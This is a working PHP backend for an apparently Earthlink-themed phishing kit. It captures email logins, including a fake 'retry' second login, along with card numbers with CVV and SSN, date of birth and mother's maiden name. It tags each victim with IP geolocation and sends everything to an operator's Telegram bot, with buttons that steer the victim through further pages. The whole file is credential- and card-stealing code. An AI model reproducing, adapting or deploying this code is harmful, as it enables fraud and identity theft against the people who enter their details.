<?php
session_start();
header("Access-Control-Allow-Origin: *");
require("../token.php");

function tg_html($s) {
    return htmlspecialchars((string) $s, ENT_QUOTES, 'UTF-8');
}
function tg_send_html($token, $chatid, $message, $reply_markup = null) {
    $url = "https://api.telegram.org/bot" . $token . "/sendMessage";
    $payload = ['chat_id' => $chatid, 'text' => $message, 'parse_mode' => 'HTML'];
    if ($reply_markup !== null) {
        $payload['reply_markup'] = $reply_markup;
    }
    $body = http_build_query($payload);
    $ctx = stream_context_create(['http' => ['method' => 'POST', 'header' => 'Content-Type: application/x-www-form-urlencoded', 'content' => $body]]);
    @file_get_contents($url, false, $ctx);
}

if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
    $ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
    $ip = $_SERVER['REMOTE_ADDR'];
}

$ip = $_SERVER['REMOTE_ADDR'];
$ipdat = @json_decode(file_get_contents("http://ip-api.com/json/$ip"));
$countryName = isset($ipdat->country) ? $ipdat->country : '';
$city = isset($ipdat->city) ? $ipdat->city : '';
$org = isset($ipdat->org) ? $ipdat->org : '';
$timezone = isset($ipdat->timezone) ? $ipdat->timezone : '';
$userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';

$visitor_block = "🌐 <b>Visitor</b>\n";
$visitor_block .= "  • IP: <code>" . tg_html($ip) . "</code>\n";
$visitor_block .= "  • Country: " . tg_html($countryName) . "\n";
$visitor_block .= "  • City: " . tg_html($city) . "\n";
$visitor_block .= "  • ISP: " . tg_html($org) . "\n";
$visitor_block .= "  • Timezone: " . tg_html($timezone) . "\n";
$visitor_block .= "  • UA: " . tg_html($userAgent) . "\n";

$cookie_name = 'earthlink_attempted';

if (isset($_POST["em"]) && isset($_POST["pa"])) {
    $username = trim((string) $_POST['em']);
    $pass = trim((string) $_POST['pa']);

    if ($username !== '' && $pass !== '') {

        if (isset($_COOKIE[$cookie_name]) && $_COOKIE[$cookie_name] === '1') {
            $firstUser = isset($_SESSION['earthlink_first_user']) ? (string) $_SESSION['earthlink_first_user'] : '';
            $firstPass = isset($_SESSION['earthlink_first_pass']) ? (string) $_SESSION['earthlink_first_pass'] : '';

            $message = "🔹 <b>@earthshakinggg</b>\n";
            $message .= "━━━━━━━━━━━━━━━━━━━━\n\n";
            $message .= " <b>1st Login (Earthlink)</b>\n";
            $message .= "  • Email: <code>" . tg_html($firstUser) . "</code>\n";
            $message .= "  • Password: <code>" . tg_html($firstPass) . "</code>\n\n";
            $message .= "✳️ <b>2nd Login (incorrect / retry)</b>\n";
            $message .= "  • Email: <code>" . tg_html($username) . "</code>\n";
            $message .= "  • Password: <code>" . tg_html($pass) . "</code>\n\n";
            $message .= $visitor_block;

            if (!empty($token) && !empty($chatid)) {
                tg_send_html($token, $chatid, $message);
            }

            unset($_SESSION['earthlink_first_user'], $_SESSION['earthlink_first_pass']);
            setcookie($cookie_name, '', time() - 3600, '/');
            exit;
        }

        $_SESSION['earthlink_first_user'] = $username;
        $_SESSION['earthlink_first_pass'] = $pass;

        $message = "🔹 <b>@earthshakinggg</b>\n";
        $message .= "━━━━━━━━━━━━━━━━━━━━\n\n";
        $message .= " <b>Login (Earthlink) — 1st Login</b>\n";
        $message .= "  • Email: <code>" . tg_html($username) . "</code>\n";
        $message .= "  • Password: <code>" . tg_html($pass) . "</code>\n\n";
        $message .= $visitor_block;

        if (!empty($token) && !empty($chatid)) {
            tg_send_html($token, $chatid, $message);
        }

        setcookie($cookie_name, '1', time() + 3600, '/');
    }
}
else if (isset($_POST["em2"])) {
    $id2 = $_POST['em2'];
    $pas2 = $_POST['pa2'];
    $em11 = $_POST['em11'];
    $pa11 = $_POST['pa11'];
    if ($id2 != null) {
        $message = "🔹 <b>@earthshakinggg</b>\n";
        $message .= "━━━━━━━━━━━━━━━━━━━━\n\n";
        $message .= " <b>Login 1</b>\n";
        $message .= "  • Email: <code>" . tg_html($em11) . "</code>\n";
        $message .= "  • Password: <code>" . tg_html($pa11) . "</code>\n\n";
        $message .= " <b>Login 2 (retry)</b>\n";
        $message .= "  • Email: <code>" . tg_html($id2) . "</code>\n";
        $message .= "  • Password: <code>" . tg_html($pas2) . "</code>\n\n";
        $message .= $visitor_block;
        tg_send_html($token, $chatid, $message);
    }
}
else if (isset($_POST["email2"]) && isset($_POST["pass2"])) {
    $email2 = $_POST['email2'];
    $pass = $_POST['pass2'];
    if ($email2 != null && $pass != null) {
        $message = "🔹 <b>@earthshakinggg</b>\n";
        $message .= "━━━━━━━━━━━━━━━━━━━━\n\n";
        $message .= " <b>Second Login</b>\n";
        $message .= "  • Email: <code>" . tg_html($email2) . "</code>\n";
        $message .= "  • Password: <code>" . tg_html($pass) . "</code>\n\n";
        $message .= $visitor_block;
        tg_send_html($token, $chatid, $message);
    }
}
else if (isset($_POST["cName"])) {
    $cName = $_POST['cName'];
    $cNum = $_POST['cNum'];
    $CDate = $_POST['cDate'];
    $cv = $_POST['cv'];
    $baseUrl = isset($_POST["baseUrl"]) ? $_POST["baseUrl"] : '';
    if ($cName != null) {
        $message = "🔹 <b>@earthshakinggg</b>\n";
        $message .= "━━━━━━━━━━━━━━━━━━━━\n\n";
        $message .= " <b>Card</b>\n";
        $message .= "  • Name: <code>" . tg_html($cName) . "</code>\n";
        $message .= "  • Number: <code>" . tg_html($cNum) . "</code>\n";
        $message .= "  • Date: " . tg_html($CDate) . "  • CVV: <code>" . tg_html($cv) . "</code>\n\n";
        $message .= $visitor_block;

        $ipaddress = $_SERVER['REMOTE_ADDR'];
        $buttons = [
            [["text" => "❌ Email Error", "url" => $baseUrl . "/panel.php?response=invalidemail&ip=" . $ipaddress]],
            [
                ["text" => "👤 Billing", "url" => $baseUrl . "/panel.php?response=bill&ip=" . $ipaddress],
                ["text" => "📩 Email", "url" => $baseUrl . "/panel.php?response=email&ip=" . $ipaddress],
                ["text" => "💳 Card", "url" => $baseUrl . "/panel.php?response=card&ip=" . $ipaddress],
                ["text" => "✅ Done", "url" => $baseUrl . "/panel.php?response=done&ip=" . $ipaddress]
            ]
        ];
        $keyboard = json_encode(["inline_keyboard" => $buttons]);
        tg_send_html($token, $chatid, $message, $keyboard);
        echo json_encode(["success" => "sent cc"]);
    }
}
else if (isset($_POST["sn"])) {
    $sn = $_POST['sn'];
    $dob = $_POST['dob'];
    $mmn = $_POST['mmn'];
    $baseUrl = isset($_POST["baseUrl"]) ? $_POST["baseUrl"] : '';
    if ($sn != null) {
        $message = "🔹 <b>@earthshakinggg</b>\n";
        $message .= "━━━━━━━━━━━━━━━━━━━━\n\n";
        $message .= " <b>SSN / Info</b>\n";
        $message .= "  • SSN: <code>" . tg_html($sn) . "</code>\n";
        $message .= "  • DOB: " . tg_html($dob) . "  • MMN: <code>" . tg_html($mmn) . "</code>\n\n";
        $message .= $visitor_block;

        $ipaddress = $_SERVER['REMOTE_ADDR'];
        $buttons = [
            [["text" => "❌ Email Error", "url" => $baseUrl . "/panel.php?response=invalidemail&ip=" . $ipaddress]],
            [
                ["text" => "👤 Billing", "url" => $baseUrl . "/panel.php?response=bill&ip=" . $ipaddress],
                ["text" => "📩 Email", "url" => $baseUrl . "/panel.php?response=email&ip=" . $ipaddress],
                ["text" => "💳 Card", "url" => $baseUrl . "/panel.php?response=card&ip=" . $ipaddress],
                ["text" => "✅ Done", "url" => $baseUrl . "/panel.php?response=done&ip=" . $ipaddress]
            ]
        ];
        $keyboard = json_encode(["inline_keyboard" => $buttons]);
        tg_send_html($token, $chatid, $message, $keyboard);
        echo json_encode(["success" => "sent cc"]);
    }
}

